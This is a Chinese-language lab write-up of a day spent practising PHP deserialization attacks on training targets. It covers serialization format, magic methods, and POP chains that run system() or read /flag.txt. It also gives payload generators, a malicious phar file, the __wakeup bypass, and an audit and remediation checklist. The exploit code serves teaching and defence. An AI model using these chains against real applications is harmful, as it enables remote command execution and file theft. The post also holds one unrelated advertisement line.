打靶场第15天,我在Pikachu的反序列化页面里看到一串字符:O:1:"S":1:{s:4:"test";s:29:"..."}。说实话,刚接触的时候我以为这是什么加密结果,后来才意识到,PHP序列化根本不是加密,它只是把对象拍平成了一串带类型标记的文本。很多人一听到反序列化就头大,觉得又是魔术方法又是POP链,门槛很高。但只要你愿意在靶场上花一个下午,把格式、触发点、构造链这三件事拆开看,就会发现它其实是一道有固定解法的题。这篇记录的是我Day15集中刷PHP反序列化题目时整理的思路和踩坑过程,从序列化格式看起,到手工搓POP链,再到phar、__wakeup绕过这些变体,最后聊一聊排查问题和代码审计的经验。适合刚刷完SQL注入和文件上传、想进阶看PHP安全的初学者。
1. 序列化字符串里的门道:从类型标记到属性可见性
1.1 为什么一个好好的对象非要存成字符串
PHP对象在内存里是"类名 + 属性集合"的结构,属性还带着public、private、protected这些可见性信息。对象不能直接塞进Session、不能直接写进文件、不能直接塞到URL参数里,必须经过序列化把它变成一行纯文本。serialize()负责编码,unserialize()负责还原。
听起来很合理是吧?问题就出在unserialize()身上:它接收的是一段完全由用户提供的字符串,而你无法控制这段字符串里面藏着什么"类"和什么"属性值"。序列化不是加密,它只是排版。任何人拿到PHP源码都能手工构造出一模一样格式的字符串。
Session存储是最典型的序列化应用场景。PHP默认把Session数据序列化后存到文件里,很多框架的缓存组件、Cookie值、API传输体里也都能看到序列化数据的身影。靶场上最常见的入口就是一段类似unserialize($_GET['data'])的代码,整个漏洞链由此展开。
1.2 一眼看懂基础类型的序列化输出
序列化格式的通用规则是:每个值前面带一个字母表示类型,后面紧跟值本身。字符串特别一点,要标注字节长度,因为还原程序需要知道读到哪里结束。
| 类型 | 表示方式 | 序列化示例 |
|---|---|---|
| boolean | b:<0/1> | b:1 |
| integer | i:<数值> | i:100 |
| double | d:<小数> | d:3.14 |
| string | s:<字节长度>:"<内容>" | s:4:"test" |
| array | a:<元素个数>: | a:2:{i:0;s:1:"a";i:1;s:1:"b";} |
| object | O:<类名长度>:"<类名>":<属性数>: | O:3:"Foo":0:{} |
| null | N | N |
看到O:7:"Account":2:{...}的时候,第一眼就应该反应过来:这是一个类名为Account、有2个属性的对象。看到s:4:"test"就要知道后面有4个字节等待读取,多一个少一个都会导致解析错位。
这里有个非常容易忽略的细节:字符串长度是字节数,不是字符数。PHP字符串里一个英文字母占1字节,但中文在UTF-8编码下占3字节。比如s:2:"你好"在纯ASCII思维下看着对,实际运行时unserialize会直接报错,因为"你好"占了6个字节,长度标记应该是s:6:"你好"。刷题时一旦遇到莫名其妙的解析失败,先怀疑长度标记。
1.3 属性能见性:手写payload最容易翻车的地方
对象属性不像数组键那样简单,public、protected、private在序列化结果里的键名格式完全不同。拿这个类举例:
php复制class Account {
public $nickname = "admin";
private $password = "123456";
protected $role = "user";
}
序列化后的结果是:
text复制O:7:"Account":3:{s:8:"nickname";s:5:"admin";s:17:"\0Account\0password";s:6:"123456";s:7:"\0*\0role";s:4:"user";}
注意看后面两个键名:
- public属性直接写属性名,
s:8:"nickname" - private属性前后各多了一个
\0,格式是\0类名\0属性名,整体长度17字节 - protected属性中间多了一个
\0*\0,格式是\0*\0属性名,整体长度7字节
\0是ASCII的空字节,在网页、Burp里经常显示成不可见字符,手动复制的时候容易丢掉。这也解释了为什么很多人手工构造payload总是失败:不是逻辑错了,是键名长度数错了,或者\0没了。
所以我的习惯是:任何时候都不要手写完整序列化字符串,永远用一段本地PHP脚本生成。后面第3章会给出可以直接用的生成脚本。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 魔术方法才是漏洞的导火索:反序列化为什么能被利用
2.1 unserialize到底做了什么
unserialize()拿到字符串之后,大致经历这几步:
- 解析类型标记,识别出
s、i、O这些字母。 - 如果是对象,按类名找到对应类并创建空对象。
- 把字符串里给出的属性名和属性值逐一覆盖到对象上。这一步完全由输入的字符串决定。
- 如果类里定义了
__wakeup(),在这里调用。 - 对象进入正常生命周期,如果后面代码把它当字符串用了、或者脚本结束对象销毁,还会触发其他魔术方法。
关键点在第3步:属性值完全可控。攻击者把一个对象的任意属性改成任意值,而这个对象在正常业务流程里会被调用某些方法,危险就这么产生了。
2.2 常用魔术方法清单与触发时机
靶场反序列化题里,出现频率最高的是这几个魔术方法:
| 方法名 | 触发时机 | 靶场出现频率 |
|---|---|---|
__wakeup() |
反序列化过程中 | 高 |
__destruct() |
对象销毁时(脚本结束、unset、引用计数归零) | 极高 |
__toString() |
对象被当作字符串使用(如echo拼接) | 高 |
__call() |
调用对象不存在的方法 | 中 |
__get() |
读取不可访问属性 | 中 |
__set() |
给不可访问属性赋值 | 低 |
__construct() |
对象创建时 | 低(反序列化不触发) |
__sleep() |
serialize之前 | 低 |
__construct是唯一在反序列化时不会执行的常用魔术方法,很多新手以为反序列化会走构造函数,其实不会,这也是为什么很多类安全检查写在__construct里但完全拦不住反序列化攻击。
2.3 可控属性加魔术方法等于漏洞雏形
把漏洞利用想象成多米诺骨牌:攻击者要做的是挨个摆放骨牌的角度和位置——也就是设置对象的各个属性值;unserialize()或者脚本结束的时机负责推倒第一块牌——触发__destruct、__wakeup这些方法;最后一块骨牌倒下的方向是文件读取、命令执行、文件写入。
这个"骨牌链"在PHP安全里有个专门的词叫POP链,全称Property-Oriented Programming,属性导向编程。Java里有Gadget链,PHP里叫POP链,思路是一样的:不写攻击代码,只摆属性,利用现有类的方法把危险动作串起来。初学者看到"链"字容易害怕,其实拆开看就是三件事——找入口、找方法节点、串起来。
3. 靶场第一关:从源码手搓POP链
3.1 一个典型入口代码
最常见的一道入门题长这样:
php复制<?php
class A {
public $a;
public function __destruct() {
if (isset($this->a)) {
$this->a->danger();
}
}
}
class B {
public $cmd;
public function danger() {
system($this->cmd);
}
}
$data = $_GET['data'];
$obj = unserialize(base64_decode($data));
echo $obj->message;
?>
入口在最后两行:用户传入data参数,base64解码后直接反序列化,反序列化结果的对象存在$obj里。目标源码里同时定义了A和B两个类。注意漏洞逻辑并不难找,难的是你要意识到:$obj->message只是正常访问一个属性,真正触发漏洞的时刻是脚本执行结束、$obj被销毁,此时A对象的__destruct被调用。
3.2 一条最短的攻击链:__destruct调用危险方法
从A的__destruct出发,它调用了$this->a->danger()。那就让$this->a等于一个B对象,让B对象的$cmd等于要执行的命令。反序列化后的对象结构应该是这样:
text复制O:1:"A":1:{s:1:"a";O:1:"B":1:{s:3:"cmd";s:2:"id";}}
读一遍:外层是类A,有一个属性a,属性值是一个类B对象;B对象的cmd属性值是字符串id。当脚本结束,外层A对象销毁,触发__destruct,于是$this->a->danger()被调用,B对象内部的system('id')执行,命令结果输出到页面。
这就是一条完整的最小POP链。很多人看教程觉得简单,但真正到靶场里手搓时发现:类名长度要数、属性名长度要数、嵌套对象的闭合括号要对齐。我给一条操作建议——用下面的生成脚本,不要手写。
3.3 本地生成payload的完整动作
创建一个gen.php文件,内容如下:
php复制<?php
class A {
public $a;
}
class B {
public $cmd = 'id';
}
$payload = new A();
$payload->a = new B();
echo base64_encode(serialize($payload));
echo "\n";
echo urlencode(serialize($payload));
命令行执行:
bash复制php gen.php
第一行输出是base64编码的payload,适合POST提交;第二行是URL编码后的payload,适合GET参数直接粘到浏览器地址栏。实际发送时,访问靶场入口:
text复制http://靶场地址/index.php?data=TzoxOiJBIjoxOntzOjE6ImEiO087MToiQiI6MTp7czozOiJjbWQiO3M6MjoiaWQiO319
如果靶场代码是unserialize($_GET['data'])且没有base64解码,就需要用URL编码后的值。我刷题时习惯两种都生成好,现场看源码再决定用哪个。
3.4 从echo一个对象出发:__toString读任意文件
__destruct触发链路很好理解,但很多题目不会给这么直接的入口。另一种极常见的情况是反序列化后的对象被直接echo:
php复制<?php
class User {
public $nickname;
public function __toString() {
return $this->nickname->read();
}
}
class FileReader {
public $path;
public function read() {
return file_get_contents($this->path);
}
}
$user = unserialize($_GET['data']);
echo $user;
?>
这里入口代码echo $user会把User对象当字符串输出,触发__toString,于是$this->nickname->read()被调用。把nickname属性设置成一个FileReader对象,path设置成/flag.txt,反序列化后echo就能把文件内容打出来。payload结构就是两层对象嵌套,构造思路和前面完全一致。
这两条链覆盖了反序列化最核心的两个触发点:对象销毁时的__destruct,以及对象转字符串时的__toString。后面的POP链无论多长,本质都是"用可控属性把各个类的魔术方法按调用顺序串起来"。
强调一句:以上操作请务必只在自己搭的靶场或明确授权的环境里做。反序列化漏洞利用门槛低、破坏力大,拿未授权目标练手后果很严重。
4. 别只会做考试题:phar反序列化、原生类与__wakeup绕过
Day15刷到后面,我发现纯unserialize($_GET)的题目是一类,还有一堆变体题目,能拓宽思路。
4.1 phar://:没有unserialize也能反序列化
这是反序列化题里最容易让人眼前一亮的知识点。原理是:PHP的Phar文件包含元数据(metadata),当任何文件操作函数通过phar://协议读取这个文件时,PHP会自动反序列化phar文件里的元数据。也就是说,即使整个项目里完全没有unserialize(),只要存在file_exists()、file_get_contents()、getimagesize()、fopen()这类函数且参数用户可控,就能触发反序列化。
生成一个带恶意元数据的phar文件需要本机配置phar.readonly=0,生成脚本:
php复制<?php
class Trigger {
public $cmd = 'id';
public function __destruct() {
system($this->cmd);
}
}
$p = new Phar('payload.phar');
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->addFromString('test.txt', 'test');
$p->setMetadata(new Trigger());
$p->stopBuffering();
生成后把payload.phar上传到靶场,然后在存在文件操作函数的地方触发:
php复制file_exists("phar://payload.phar/test.txt");
Trigger类在反序列化时不会立刻执行什么,但脚本结束后对象销毁,__destruct触发命令执行。这类题目在部分PHP 7版本的靶场里很常见,不同PHP版本对Phar元数据的处理有差异,实战时要先验证目标版本再说。
4.2 原生类:链上最后一块拼图
有时候题目源码里根本没有可利用的自定义类,或者自定义类都被过滤了,这时候别忘了一个思路——用PHP自带的内置类。最经典的是SimpleXMLElement,它可以用来加载外部实体,配合xxe;Error和Exception在某些上下文里能控制消息内容、异常信息,进而拼进函数调用参数。原生类是利用链里的"现成节点",遇到没有目标类可用的题目时,优先查一下目标PHP版本对应的原生类利用方式(如SoapClient SSRF、SimpleXMLElement XXE等),往往比硬凑自定义类快得多。
4.3 Session序列化处理器不一致引发的注入
这个考点很冷门,但CTF和靶场里偶尔能看到。PHP的Session序列化有几种处理器,常见的有php、php_serialize、php_binary。默认的php格式是键名|序列化值,而php_serialize格式是一个完整的数组序列化结果。如果写入和读取Session使用了不同的处理器,格式就会错配。
攻击思路是:先控制某个Session字段的值,往里塞一个伪造的|结构,让PHP按另一种处理器解析时,把它当作一个新的Session键和序列化值。最终效果还是反序列化一个可控字符串。这种题上手偏复杂,但如果前缀出现了session.serialize_handler、session_start()的参数配置,建议往这个方向想。
4.4 __wakeup绕过与对象提前销毁
__wakeup常常被当作"安全校验点",不少题目会在里面检查属性值,不满足条件就直接退出或重置。经典绕过方式是CVE-2016-7124:在反序列化字符串里,把表示属性数量的数字改大,例如类只有一个属性,却写成2个,PHP旧版本在解析时会跳过__wakeup的调用。payload长这样:
text复制O:7:"Payload":2:{s:4:"data";s:5:"hello";}
真实类Payload只有一个data属性,但字符串里属性数量写成了2。这个利用对PHP版本有强依赖,PHP 7.4以后基本失效,遇到版本较新的靶场就要换思路。
还有一种"对象提前销毁"技巧,俗称fast destruct:通过异常退出、修改引用计数等方式,让对象在预期时间点之前销毁,从而提前触发__destruct。有些POP链卡在某一步不执行,调整一下外层嵌套的数组结构就能让销毁时机改变,是实战里常用的调试手段。
4.5 字符串过滤导致的字符逃逸
这是进阶题里最烧脑的一类。原理是:题目对已序列化字符串做了替换过滤,比如把flag替换为空字符串、把a替换成bb,导致字符长度发生变化,后面的内容会被"挤"进字符串值或者被"吞"掉一部分,最终改变反序列化结果。这类题要求精确计算长度,手工构造非常痛苦,建议先本地写脚本模拟过滤逻辑,逐步调整payload。
5. 刷靶场最常踩的坑:完整排查链路
5.1 现象对照表
反序列化题目报错和失败的花样不多,来回就那几类。我把自己踩过的坑整理成了一张表:
| 现象 | 可能原因 | 处理方向 |
|---|---|---|
Notice: unserialize(): Error at offset |
字符串长度不对,或者\0被吞 |
检查s:x里的x是否和实际字节数一致,检查可见性前缀 |
反序列化后变量是__PHP_Incomplete_Class |
目标类不存在,或类名大小写不一致 | 确认类名、确认autoload是否生效 |
| 页面空白无输出 | 链构造了但触发条件没满足 | 检查是echo对象还是脚本结束销毁,检查是否需要某个方法先被调用 |
__wakeup里拦截导致链断 |
题目在__wakeup里做了安全校验 |
尝试属性数写大绕过,或找其他触发路径 |
| 命令执行但结果不回显 | 命令输出被丢弃,函数返回值没有echo | 改成写文件、DNS请求回调等手段侧信道验证 |
| 靶场页面启动失败 | 端口被占用、PHP版本和靶场不兼容 | 改端口、换PHP版本容器 |
5.2 一次真实的排错过程
我记得有一次刷一套本地靶场,源码里有一条很长的POP链,__destruct里调用了__toString,__toString里又调用了__call。我把payload生成好发过去,页面死活没有任何反应。我当时的排查步骤是这样:
第一步,先确认入口代码。回看源码发现反序列化用的不是$_GET['data'],而是从Cookie里取的base64_decode($_COOKIE['user'])。我在GET里传了半天的payload自然没用。
第二步,本地环境最小复现。把目标源码拷到本地,写一个test.php直接unserialize(serialize($payload)),用var_dump看对象结构,确认每个属性都按预期赋值。
第三步,逐个触发点验证。单独把链条拆开,先让__destruct触发,再手动调__toString,最后测__call,定位到是__call里的参数拼接少了一个$,方法调用传参格式不对。
第四步,重新生成payload,在本地靶场验证通过后再回到原环境。
这个过程看起来笨,但非常有效。反序列化链一旦断,很难靠肉眼看出问题,分块调试永远比整体调试快。
5.3 给新手的调试三板斧
- 用
php -r快速生成和验证payload,不用每次开文件。比如:
bash复制php -r 'class A{} class B{public $cmd="id";} $a=new A; $a->a=new B; echo urlencode(serialize($a));'
- 在入口代码里临时加
var_dump($obj),看反序列化出来的对象长什么样。注意别在正式环境留,调试完删掉。 - 引入Xdebug做单步调试,在魔术方法第一行打断点,一行一行看变量变化。对复杂POP链,这一步能省半天时间。
6. 从防守端聊两句:怎么找反序列化危险点
刷反序列化题不只是为了打靶场。攻防一体的思路是:会攻击的人才能写出靠谱的修复方案。
6.1 代码审计的入口清单
拿到一套PHP代码,快速定位反序列化风险点的顺序:
- 全项目搜
unserialize,看数据来源是用户可控还是内部数据。 - 搜
__destruct、__wakeup、__toString、__call这些魔术方法,列出所有可能被触发的类。 - 看类的方法里有没有
system、exec、file_put_contents、file_get_contents、include、eval这类危险函数。 - 搜文件操作函数(
file_exists、getimagesize、fopen等)是否接收外部输入,排除phar触发路径。 - 检查Session序列化处理器配置是否统一。
很多开源CMS的历史漏洞就是这么挖出来的:入口有unserialize,某个模型类的__destruct里调用了文件操作,中间用几个__get/__call串联起来,最终变成任意文件删除或RCE。
6.2 修复不是"过滤输入"
我见过不少团队在unserialize前面加了各种黑名单过滤,比如拦截O:开头、拦截system关键字。这基本等于没修。反序列化的payload千变万化,黑名单永远追不上,而且一层编码绕过去毫无负担。
正确的修复思路有几个方向:
- 不要反序列化不可信数据。这是最根本的,能用JSON就用JSON。
- 必须用
unserialize时,限制允许的类。PHP的unserialize函数支持第二个参数,传false可以禁止对象实例化,传数组可以白名单指定允许的类。 - 对反序列化数据做签名校验,确保数据没有被篡改过。
- 类本身的魔术方法要做到"即使属性值完全被攻击者控制,也不执行危险动作"。
6.3 继续进阶的方向
如果你已经能独立手搓简单POP链,下一阶段可以玩两样东西:一是phpggc这类开源工具,里面收集了大量主流框架的现成POP链,拿来分析它的调用链结构,比自己硬搜源码高效得多;二是研究真实CMS的历史漏洞,把漏洞描述、补丁diff、exploit三者对照看,理解"这个属性为什么能通向那个函数"。这一步走完,反序列化这块基本就通了。
7. 打穿day15后的几点真实感受
刷完这一天的题,最大的收获不是背会了多少个payload,而是把"调试思路"练出来了。反序列化看着高大上,核心就三件事:序列化格式要看得懂、魔术方法触发时机要记得住、属性可控这件事要时刻放在心上。剩下多复杂的链,都是这三个要素的组合。
第二个感受是:手搓payload要克制,脚本生成才是正道。亲眼见过太多人在靶场里纠结s:17还是s:18,这毫无意义。把生成脚本写好,本地跑出来,拿到环境里直接验证,出错了再回本地改,效率完全不一样。
最后说一个实用小技巧:靶场里的反序列化题目,不管多复杂,永远先从入口代码开始看,搞清楚数据到底从哪个参数进来、反序列化结果被用在什么地方。入口决定了触发时机,触发时机决定了该往哪个魔术方法使劲。把这个顺序理顺了,Pikachu、DVWA、BUUCTF里那一排反序列化题基本都不在话下。接下来我准备把phar反序列化和Session序列化注入这两块再补几道题,到时候有新坑了再来分享。
